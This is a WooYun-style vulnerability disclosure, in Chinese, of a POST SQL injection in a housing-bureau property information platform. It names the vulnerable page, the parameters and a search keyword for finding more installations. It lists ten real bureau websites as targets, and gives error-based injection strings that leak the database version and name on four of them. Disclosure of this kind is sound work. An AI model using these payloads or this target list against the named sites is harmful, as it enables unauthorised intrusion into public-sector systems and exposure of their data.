WooYun.org

先说明，路人甲大牛提交的参数是Qryqyxmbm(GET型注入)，其实这个页面还有一个搜索，也存在注入(POST型)、、 审核大大明鉴
漏洞地址： WooYun: 某通用型房产管理程序SQL注入（影响多地市县房管局）
web程序：地产市场信息发布平台
研发与技术支持：武汉弘智科技有限公司
漏洞类型：SQL注入(POST型)
漏洞文件：/pubinfo/Moreysxk.asp
漏洞参数：Qryxmmc=111&Qryxkzh=222
关键词：/PubInfo/ldxx.asp?QryId=
搜集案例：

团风房管局：
http://www.tfxfdc.com/pubinfo/Moreysxk.asp
随州市房管局：
http://www.szfcsc.com/web/pubinfo/Moreysxk.asp
天门市房管局：
http://www.tmfdc.gov.cn/pubinfo/Moreysxk.asp
黄石市房管局：
http://www.hsfdc.com/webpubinfo/Moreysxk.asp
咸宁市房管局：
http://www.xnfcj.com/pubinfo/Moreysxk.asp
京山市房管局：
http://www.jsxfgj.com/pubinfo/Moreysxk.asp
恩施市房管局：
http://www.eszfdc.gov.cn/pubinfo/Moreysxk.asp
郧西县房管局：
http://www.yxxfgj.com/pubinfo/Moreysxk.asp
晋城市房管局：
http://www.jcsfdc.com.cn/web/pubinfo/Moreysxk.asp
远安县房管局：
http://www.yafcj.com/pubinfo/Moreysxk.asp

实例演示：
1、
团风房管局：
http://www.tfxfdc.com/pubinfo/Moreysxk.asp
在输入框输入：asd%' and 1>@@version--

asd%' and 1>db_name()--

2.
随州市房管局：
http://www.szfcsc.com/web/pubinfo/Moreysxk.asp

3.
黄石市房管局：
http://www.hsfdc.com/web/pubinfo/Moreysxk.asp
在输入框输入：asd%' and 1>@@version--

4.
咸宁市房管局：
http://www.xnfcj.com/pubinfo/Moreysxk.asp
在输入框输入：asd%' and 1>@@version--

在输入框输入：asd%' and 1>db_name()--